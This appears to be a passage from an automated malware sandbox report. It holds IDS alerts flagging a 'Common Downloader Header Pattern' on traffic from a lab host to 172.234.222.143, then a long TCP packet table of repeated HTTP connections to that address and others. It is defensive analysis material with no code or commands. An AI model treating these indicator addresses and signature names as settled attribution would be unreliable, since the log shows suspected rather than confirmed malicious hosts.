2024-09-07T15:30:04.675044+0200	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.7	49764	172.234.222.143	80	TCP
2024-09-07T15:30:12.676667+0200	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.7	49767	172.234.222.143	80	TCP
2024-09-07T15:30:14.657891+0200	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.7	49770	172.234.222.143	80	TCP
2024-09-07T15:30:17.961100+0200	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.7	49773	172.234.222.143	80	TCP
2024-09-07T15:30:19.107301+0200	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.7	49776	172.234.222.143	80	TCP
2024-09-07T15:30:21.163670+0200	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.7	49779	172.234.222.143	80	TCP
2024-09-07T15:30:24.295245+0200	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.7	49782	172.234.222.143	80	TCP
2024-09-07T15:30:26.051715+0200	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.7	49785	172.234.222.143	80	TCP
2024-09-07T15:30:27.197385+0200	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.7	49788	172.234.222.143	80	TCP
2024-09-07T15:30:28.551463+0200	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.7	49791	172.234.222.143	80	TCP
2024-09-07T15:30:31.905813+0200	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.7	49794	172.234.222.143	80	TCP
2024-09-07T15:30:33.101422+0200	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.7	49797	172.234.222.143	80	TCP
2024-09-07T15:30:37.573802+0200	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.7	55212	172.234.222.143	80	TCP
2024-09-07T15:30:38.763861+0200	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.7	55215	172.234.222.143	80	TCP
2024-09-07T15:30:40.072754+0200	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.7	55218	172.234.222.143	80	TCP
2024-09-07T15:30:43.887073+0200	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.7	55221	172.234.222.143	80	TCP
2024-09-07T15:30:48.279957+0200	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.7	55224	172.234.222.143	80	TCP
2024-09-07T15:30:52.353582+0200	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.7	55227	172.234.222.143	80	TCP
2024-09-07T15:31:00.416747+0200	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.7	55230	172.234.222.143	80	TCP
2024-09-07T15:31:03.891818+0200	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.7	55233	172.234.222.143	80	TCP
2024-09-07T15:31:05.121939+0200	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.7	55236	172.234.222.143	80	TCP
2024-09-07T15:31:06.269829+0200	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.7	55239	172.234.222.143	80	TCP
2024-09-07T15:31:07.942941+0200	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.7	55242	172.234.222.143	80	TCP
2024-09-07T15:31:11.652955+0200	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.7	55245	172.234.222.143	80	TCP
2024-09-07T15:31:14.101847+0200	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.7	55248	172.234.222.143	80	TCP
2024-09-07T15:31:16.197942+0200	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.7	55251	172.234.222.143	80	TCP
2024-09-07T15:31:17.329085+0200	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.7	55254	172.234.222.143	80	TCP
2024-09-07T15:31:18.681843+0200	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.7	55257	172.234.222.143	80	TCP
2024-09-07T15:31:20.387699+0200	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.7	55260	172.234.222.143	80	TCP
2024-09-07T15:31:22.223857+0200	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.7	55263	172.234.222.143	80	TCP
2024-09-07T15:31:25.806279+0200	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.7	55266	172.234.222.143	80	TCP
2024-09-07T15:31:34.025332+0200	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.7	55269	172.234.222.143	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Sep 7, 2024 15:29:09.366576910 CEST	49699	80	192.168.2.7	88.198.29.97
Sep 7, 2024 15:29:09.371438980 CEST	80	49699	88.198.29.97	192.168.2.7
Sep 7, 2024 15:29:09.371530056 CEST	49699	80	192.168.2.7	88.198.29.97
Sep 7, 2024 15:29:09.372298002 CEST	49699	80	192.168.2.7	88.198.29.97
Sep 7, 2024 15:29:09.377319098 CEST	80	49699	88.198.29.97	192.168.2.7
Sep 7, 2024 15:29:09.377386093 CEST	49699	80	192.168.2.7	88.198.29.97
Sep 7, 2024 15:29:09.620240927 CEST	49700	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:29:09.626084089 CEST	80	49700	172.234.222.143	192.168.2.7
Sep 7, 2024 15:29:09.626154900 CEST	49700	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:29:09.629479885 CEST	49700	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:29:09.634782076 CEST	80	49700	172.234.222.143	192.168.2.7
Sep 7, 2024 15:29:10.115741014 CEST	80	49700	172.234.222.143	192.168.2.7
Sep 7, 2024 15:29:10.115895033 CEST	49700	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:29:10.116349936 CEST	80	49700	172.234.222.143	192.168.2.7
Sep 7, 2024 15:29:10.116415024 CEST	49700	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:29:10.344487906 CEST	49701	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:29:10.349334955 CEST	80	49701	172.234.222.143	192.168.2.7
Sep 7, 2024 15:29:10.349407911 CEST	49701	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:29:10.351715088 CEST	49701	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:29:10.356501102 CEST	80	49701	172.234.222.143	192.168.2.7
Sep 7, 2024 15:29:10.832561970 CEST	80	49701	172.234.222.143	192.168.2.7
Sep 7, 2024 15:29:10.832637072 CEST	49701	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:29:16.128241062 CEST	49702	80	192.168.2.7	88.198.29.97
Sep 7, 2024 15:29:16.133913040 CEST	80	49702	88.198.29.97	192.168.2.7
Sep 7, 2024 15:29:16.134005070 CEST	49702	80	192.168.2.7	88.198.29.97
Sep 7, 2024 15:29:16.134123087 CEST	49702	80	192.168.2.7	88.198.29.97
Sep 7, 2024 15:29:16.140077114 CEST	80	49702	88.198.29.97	192.168.2.7
Sep 7, 2024 15:29:16.140146971 CEST	49702	80	192.168.2.7	88.198.29.97
Sep 7, 2024 15:29:16.142689943 CEST	49703	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:29:16.147511005 CEST	80	49703	172.234.222.143	192.168.2.7
Sep 7, 2024 15:29:16.147593975 CEST	49703	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:29:16.160608053 CEST	49703	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:29:16.165513039 CEST	80	49703	172.234.222.143	192.168.2.7
Sep 7, 2024 15:29:16.789921999 CEST	80	49703	172.234.222.143	192.168.2.7
Sep 7, 2024 15:29:16.789947987 CEST	80	49703	172.234.222.143	192.168.2.7
Sep 7, 2024 15:29:16.790004969 CEST	49703	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:29:16.790107965 CEST	49703	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:29:16.796256065 CEST	49701	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:29:16.796542883 CEST	49704	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:29:16.801327944 CEST	80	49704	172.234.222.143	192.168.2.7
Sep 7, 2024 15:29:16.801340103 CEST	80	49701	172.234.222.143	192.168.2.7
Sep 7, 2024 15:29:16.801424980 CEST	49701	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:29:16.801600933 CEST	49704	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:29:16.801660061 CEST	49704	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:29:16.806396008 CEST	80	49704	172.234.222.143	192.168.2.7
Sep 7, 2024 15:29:17.283945084 CEST	80	49704	172.234.222.143	192.168.2.7
Sep 7, 2024 15:29:17.284142017 CEST	49704	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:29:19.352329969 CEST	49705	80	192.168.2.7	64.70.19.203
Sep 7, 2024 15:29:19.357074976 CEST	80	49705	64.70.19.203	192.168.2.7
Sep 7, 2024 15:29:19.357147932 CEST	49705	80	192.168.2.7	64.70.19.203
Sep 7, 2024 15:29:19.357251883 CEST	49705	80	192.168.2.7	64.70.19.203
Sep 7, 2024 15:29:19.361069918 CEST	49706	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:29:19.362052917 CEST	80	49705	64.70.19.203	192.168.2.7
Sep 7, 2024 15:29:19.362488985 CEST	80	49705	64.70.19.203	192.168.2.7
Sep 7, 2024 15:29:19.362530947 CEST	49705	80	192.168.2.7	64.70.19.203
Sep 7, 2024 15:29:19.365888119 CEST	80	49706	172.234.222.143	192.168.2.7
Sep 7, 2024 15:29:19.365963936 CEST	49706	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:29:19.366875887 CEST	49706	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:29:19.371644020 CEST	80	49706	172.234.222.143	192.168.2.7
Sep 7, 2024 15:29:19.848172903 CEST	80	49706	172.234.222.143	192.168.2.7
Sep 7, 2024 15:29:19.848211050 CEST	80	49706	172.234.222.143	192.168.2.7
Sep 7, 2024 15:29:19.848285913 CEST	49706	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:29:19.848347902 CEST	49706	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:29:19.855596066 CEST	49704	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:29:19.855920076 CEST	49707	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:29:19.860668898 CEST	80	49704	172.234.222.143	192.168.2.7
Sep 7, 2024 15:29:19.860707045 CEST	80	49707	172.234.222.143	192.168.2.7
Sep 7, 2024 15:29:19.860761881 CEST	49704	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:29:19.860802889 CEST	49707	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:29:19.860907078 CEST	49707	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:29:19.865668058 CEST	80	49707	172.234.222.143	192.168.2.7
Sep 7, 2024 15:29:20.353956938 CEST	80	49707	172.234.222.143	192.168.2.7
Sep 7, 2024 15:29:20.354062080 CEST	49707	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:29:20.989914894 CEST	49708	80	192.168.2.7	88.198.29.97
Sep 7, 2024 15:29:20.994765997 CEST	80	49708	88.198.29.97	192.168.2.7
Sep 7, 2024 15:29:20.994842052 CEST	49708	80	192.168.2.7	88.198.29.97
Sep 7, 2024 15:29:20.994940042 CEST	49708	80	192.168.2.7	88.198.29.97
Sep 7, 2024 15:29:21.000049114 CEST	80	49708	88.198.29.97	192.168.2.7
Sep 7, 2024 15:29:21.000099897 CEST	49708	80	192.168.2.7	88.198.29.97
Sep 7, 2024 15:29:21.004165888 CEST	49709	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:29:21.009038925 CEST	80	49709	172.234.222.143	192.168.2.7
Sep 7, 2024 15:29:21.009105921 CEST	49709	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:29:21.009190083 CEST	49709	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:29:21.014074087 CEST	80	49709	172.234.222.143	192.168.2.7
Sep 7, 2024 15:29:21.510165930 CEST	80	49709	172.234.222.143	192.168.2.7
Sep 7, 2024 15:29:21.510193110 CEST	80	49709	172.234.222.143	192.168.2.7
Sep 7, 2024 15:29:21.510287046 CEST	49709	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:29:21.510407925 CEST	49709	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:29:21.513705015 CEST	49707	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:29:21.513998032 CEST	49710	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:29:21.518675089 CEST	80	49707	172.234.222.143	192.168.2.7
Sep 7, 2024 15:29:21.518743992 CEST	80	49710	172.234.222.143	192.168.2.7
Sep 7, 2024 15:29:21.518752098 CEST	49707	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:29:21.518810987 CEST	49710	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:29:21.518992901 CEST	49710	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:29:21.523708105 CEST	80	49710	172.234.222.143	192.168.2.7
Sep 7, 2024 15:29:22.031805038 CEST	80	49710	172.234.222.143	192.168.2.7
Sep 7, 2024 15:29:22.031877995 CEST	49710	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:29:23.814857960 CEST	49715	80	192.168.2.7	88.198.29.97
Sep 7, 2024 15:29:23.820509911 CEST	80	49715	88.198.29.97	192.168.2.7
Sep 7, 2024 15:29:23.820575953 CEST	49715	80	192.168.2.7	88.198.29.97
Sep 7, 2024 15:29:23.832489014 CEST	49715	80	192.168.2.7	88.198.29.97
Sep 7, 2024 15:29:23.837353945 CEST	49716	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:29:23.837420940 CEST	80	49715	88.198.29.97	192.168.2.7
Sep 7, 2024 15:29:23.837481976 CEST	49715	80	192.168.2.7	88.198.29.97
Sep 7, 2024 15:29:23.844098091 CEST	80	49716	172.234.222.143	192.168.2.7
Sep 7, 2024 15:29:23.844181061 CEST	49716	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:29:23.848310947 CEST	49716	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:29:23.853266001 CEST	80	49716	172.234.222.143	192.168.2.7
Sep 7, 2024 15:29:24.340404034 CEST	80	49716	172.234.222.143	192.168.2.7
Sep 7, 2024 15:29:24.340462923 CEST	80	49716	172.234.222.143	192.168.2.7
Sep 7, 2024 15:29:24.340533018 CEST	49716	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:29:24.340677977 CEST	49716	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:29:24.346503019 CEST	49710	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:29:24.347230911 CEST	49718	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:29:24.351629972 CEST	80	49710	172.234.222.143	192.168.2.7
Sep 7, 2024 15:29:24.351773977 CEST	49710	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:29:24.352147102 CEST	80	49718	172.234.222.143	192.168.2.7
Sep 7, 2024 15:29:24.352236986 CEST	49718	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:29:24.352550030 CEST	49718	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:29:24.357358932 CEST	80	49718	172.234.222.143	192.168.2.7
Sep 7, 2024 15:29:24.844625950 CEST	80	49718	172.234.222.143	192.168.2.7
Sep 7, 2024 15:29:24.844693899 CEST	49718	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:29:25.881036997 CEST	49719	80	192.168.2.7	88.198.29.97
Sep 7, 2024 15:29:25.885843039 CEST	80	49719	88.198.29.97	192.168.2.7
Sep 7, 2024 15:29:25.885960102 CEST	49719	80	192.168.2.7	88.198.29.97
Sep 7, 2024 15:29:25.886077881 CEST	49719	80	192.168.2.7	88.198.29.97
Sep 7, 2024 15:29:25.890784025 CEST	49720	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:29:25.891099930 CEST	80	49719	88.198.29.97	192.168.2.7
Sep 7, 2024 15:29:25.891161919 CEST	49719	80	192.168.2.7	88.198.29.97
Sep 7, 2024 15:29:25.895638943 CEST	80	49720	172.234.222.143	192.168.2.7
Sep 7, 2024 15:29:25.895756960 CEST	49720	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:29:25.895942926 CEST	49720	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:29:25.900685072 CEST	80	49720	172.234.222.143	192.168.2.7
Sep 7, 2024 15:29:26.406750917 CEST	80	49720	172.234.222.143	192.168.2.7
Sep 7, 2024 15:29:26.406827927 CEST	80	49720	172.234.222.143	192.168.2.7
Sep 7, 2024 15:29:26.406879902 CEST	49720	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:29:26.406997919 CEST	49720	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:29:26.412466049 CEST	49718	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:29:26.413059950 CEST	49721	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:29:26.418553114 CEST	80	49718	172.234.222.143	192.168.2.7
Sep 7, 2024 15:29:26.418581963 CEST	80	49721	172.234.222.143	192.168.2.7
Sep 7, 2024 15:29:26.418610096 CEST	49718	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:29:26.418662071 CEST	49721	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:29:26.418864965 CEST	49721	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:29:26.423871040 CEST	80	49721	172.234.222.143	192.168.2.7
Sep 7, 2024 15:29:26.925523996 CEST	80	49721	172.234.222.143	192.168.2.7
Sep 7, 2024 15:29:26.925667048 CEST	49721	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:29:27.499150038 CEST	49722	80	192.168.2.7	88.198.29.97
Sep 7, 2024 15:29:27.504015923 CEST	80	49722	88.198.29.97	192.168.2.7
Sep 7, 2024 15:29:27.504122972 CEST	49722	80	192.168.2.7	88.198.29.97
Sep 7, 2024 15:29:27.504215956 CEST	49722	80	192.168.2.7	88.198.29.97
Sep 7, 2024 15:29:27.509419918 CEST	80	49722	88.198.29.97	192.168.2.7
Sep 7, 2024 15:29:27.509529114 CEST	49722	80	192.168.2.7	88.198.29.97
Sep 7, 2024 15:29:27.517018080 CEST	49723	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:29:27.521898985 CEST	80	49723	172.234.222.143	192.168.2.7
Sep 7, 2024 15:29:27.521967888 CEST	49723	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:29:27.535636902 CEST	49723	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:29:27.545897007 CEST	80	49723	172.234.222.143	192.168.2.7
Sep 7, 2024 15:29:28.016305923 CEST	80	49723	172.234.222.143	192.168.2.7
Sep 7, 2024 15:29:28.016367912 CEST	80	49723	172.234.222.143	192.168.2.7
Sep 7, 2024 15:29:28.016444921 CEST	49723	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:29:28.016478062 CEST	49723	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:29:28.022003889 CEST	49721	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:29:28.022387028 CEST	49724	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:29:28.027160883 CEST	80	49724	172.234.222.143	192.168.2.7
Sep 7, 2024 15:29:28.029752016 CEST	49724	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:29:28.029912949 CEST	49724	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:29:28.032810926 CEST	80	49721	172.234.222.143	192.168.2.7
Sep 7, 2024 15:29:28.034662008 CEST	80	49724	172.234.222.143	192.168.2.7
Sep 7, 2024 15:29:28.034727097 CEST	49721	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:29:28.510941982 CEST	80	49724	172.234.222.143	192.168.2.7
Sep 7, 2024 15:29:28.511039972 CEST	49724	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:29:28.816031933 CEST	49725	80	192.168.2.7	88.198.29.97
Sep 7, 2024 15:29:28.820843935 CEST	80	49725	88.198.29.97	192.168.2.7
Sep 7, 2024 15:29:28.820930958 CEST	49725	80	192.168.2.7	88.198.29.97
Sep 7, 2024 15:29:28.820981979 CEST	49725	80	192.168.2.7	88.198.29.97
Sep 7, 2024 15:29:28.825267076 CEST	49726	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:29:28.826091051 CEST	80	49725	88.198.29.97	192.168.2.7
Sep 7, 2024 15:29:28.826132059 CEST	49725	80	192.168.2.7	88.198.29.97
Sep 7, 2024 15:29:28.830035925 CEST	80	49726	172.234.222.143	192.168.2.7
Sep 7, 2024 15:29:28.830101013 CEST	49726	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:29:28.830207109 CEST	49726	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:29:28.834901094 CEST	80	49726	172.234.222.143	192.168.2.7
Sep 7, 2024 15:29:29.331002951 CEST	80	49726	172.234.222.143	192.168.2.7
Sep 7, 2024 15:29:29.331029892 CEST	80	49726	172.234.222.143	192.168.2.7
Sep 7, 2024 15:29:29.331151962 CEST	49726	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:29:29.331231117 CEST	49726	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:29:29.331497908 CEST	49724	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:29:29.331777096 CEST	49727	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:29:29.336509943 CEST	80	49727	172.234.222.143	192.168.2.7
Sep 7, 2024 15:29:29.336586952 CEST	80	49724	172.234.222.143	192.168.2.7
Sep 7, 2024 15:29:29.336595058 CEST	49727	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:29:29.336637974 CEST	49724	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:29:29.336829901 CEST	49727	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:29:29.341588020 CEST	80	49727	172.234.222.143	192.168.2.7
Sep 7, 2024 15:29:30.742450953 CEST	80	49727	172.234.222.143	192.168.2.7
Sep 7, 2024 15:29:30.742533922 CEST	49727	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:29:30.742638111 CEST	80	49727	172.234.222.143	192.168.2.7
Sep 7, 2024 15:29:30.742685080 CEST	49727	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:29:30.742841959 CEST	80	49727	172.234.222.143	192.168.2.7
Sep 7, 2024 15:29:30.742883921 CEST	49727	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:29:30.743143082 CEST	80	49727	172.234.222.143	192.168.2.7
Sep 7, 2024 15:29:30.743181944 CEST	49727	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:29:32.534388065 CEST	49728	80	192.168.2.7	88.198.29.97
Sep 7, 2024 15:29:32.539556026 CEST	80	49728	88.198.29.97	192.168.2.7
Sep 7, 2024 15:29:32.539644003 CEST	49728	80	192.168.2.7	88.198.29.97
Sep 7, 2024 15:29:32.551516056 CEST	49728	80	192.168.2.7	88.198.29.97
Sep 7, 2024 15:29:32.555469990 CEST	49729	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:29:32.557763100 CEST	80	49728	88.198.29.97	192.168.2.7
Sep 7, 2024 15:29:32.557830095 CEST	49728	80	192.168.2.7	88.198.29.97
Sep 7, 2024 15:29:32.560312033 CEST	80	49729	172.234.222.143	192.168.2.7
Sep 7, 2024 15:29:32.560372114 CEST	49729	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:29:32.566922903 CEST	49729	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:29:32.571839094 CEST	80	49729	172.234.222.143	192.168.2.7
Sep 7, 2024 15:29:33.051564932 CEST	80	49729	172.234.222.143	192.168.2.7
Sep 7, 2024 15:29:33.051712036 CEST	80	49729	172.234.222.143	192.168.2.7
Sep 7, 2024 15:29:33.051800013 CEST	49729	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:29:33.051832914 CEST	49729	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:29:33.057149887 CEST	49727	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:29:33.057435036 CEST	49730	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:29:33.062547922 CEST	80	49730	172.234.222.143	192.168.2.7
Sep 7, 2024 15:29:33.062565088 CEST	80	49727	172.234.222.143	192.168.2.7
Sep 7, 2024 15:29:33.062658072 CEST	49727	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:29:33.062686920 CEST	49730	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:29:33.062794924 CEST	49730	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:29:33.067753077 CEST	80	49730	172.234.222.143	192.168.2.7
Sep 7, 2024 15:29:34.404494047 CEST	80	49730	172.234.222.143	192.168.2.7
Sep 7, 2024 15:29:34.404628038 CEST	49730	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:29:34.404882908 CEST	80	49730	172.234.222.143	192.168.2.7
Sep 7, 2024 15:29:34.404951096 CEST	49730	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:29:34.405265093 CEST	80	49730	172.234.222.143	192.168.2.7
Sep 7, 2024 15:29:34.405340910 CEST	49730	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:29:34.405864000 CEST	80	49730	172.234.222.143	192.168.2.7
Sep 7, 2024 15:29:34.406018972 CEST	49730	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:29:36.405484915 CEST	49731	80	192.168.2.7	88.198.29.97
Sep 7, 2024 15:29:36.410295010 CEST	80	49731	88.198.29.97	192.168.2.7
Sep 7, 2024 15:29:36.410387993 CEST	49731	80	192.168.2.7	88.198.29.97
Sep 7, 2024 15:29:36.410649061 CEST	49731	80	192.168.2.7	88.198.29.97
Sep 7, 2024 15:29:36.414172888 CEST	49732	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:29:36.415457964 CEST	80	49731	88.198.29.97	192.168.2.7
Sep 7, 2024 15:29:36.415519953 CEST	49731	80	192.168.2.7	88.198.29.97
Sep 7, 2024 15:29:36.419027090 CEST	80	49732	172.234.222.143	192.168.2.7
Sep 7, 2024 15:29:36.419094086 CEST	49732	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:29:36.426336050 CEST	49732	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:29:36.437058926 CEST	80	49732	172.234.222.143	192.168.2.7
Sep 7, 2024 15:29:36.931972980 CEST	80	49732	172.234.222.143	192.168.2.7
Sep 7, 2024 15:29:36.932055950 CEST	80	49732	172.234.222.143	192.168.2.7
Sep 7, 2024 15:29:36.932112932 CEST	49732	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:29:36.932158947 CEST	49732	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:29:36.939136028 CEST	49730	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:29:36.939538002 CEST	49733	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:29:36.944233894 CEST	80	49730	172.234.222.143	192.168.2.7
Sep 7, 2024 15:29:36.944272995 CEST	80	49733	172.234.222.143	192.168.2.7
Sep 7, 2024 15:29:36.944310904 CEST	49730	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:29:36.944371939 CEST	49733	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:29:36.944524050 CEST	49733	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:29:36.949222088 CEST	80	49733	172.234.222.143	192.168.2.7
Sep 7, 2024 15:29:37.453972101 CEST	80	49733	172.234.222.143	192.168.2.7
Sep 7, 2024 15:29:37.454087019 CEST	49733	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:29:37.583668947 CEST	49734	80	192.168.2.7	88.198.29.97
Sep 7, 2024 15:29:37.588587046 CEST	80	49734	88.198.29.97	192.168.2.7
Sep 7, 2024 15:29:37.588666916 CEST	49734	80	192.168.2.7	88.198.29.97
Sep 7, 2024 15:29:37.598229885 CEST	49734	80	192.168.2.7	88.198.29.97
Sep 7, 2024 15:29:37.602262974 CEST	49735	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:29:37.604454041 CEST	80	49734	88.198.29.97	192.168.2.7
Sep 7, 2024 15:29:37.604552984 CEST	49734	80	192.168.2.7	88.198.29.97
Sep 7, 2024 15:29:37.607851982 CEST	80	49735	172.234.222.143	192.168.2.7
Sep 7, 2024 15:29:37.607937098 CEST	49735	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:29:37.613883972 CEST	49735	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:29:37.619378090 CEST	80	49735	172.234.222.143	192.168.2.7
Sep 7, 2024 15:29:38.092010021 CEST	80	49735	172.234.222.143	192.168.2.7
Sep 7, 2024 15:29:38.092036963 CEST	80	49735	172.234.222.143	192.168.2.7
Sep 7, 2024 15:29:38.092259884 CEST	49735	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:29:38.092293024 CEST	49735	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:29:38.092714071 CEST	49733	80	192.168.2.7	172.234.222.143
Sep 7, 2024 15:29:38.093038082 CEST	49736	80	192.168.2.7	172.234.222.143
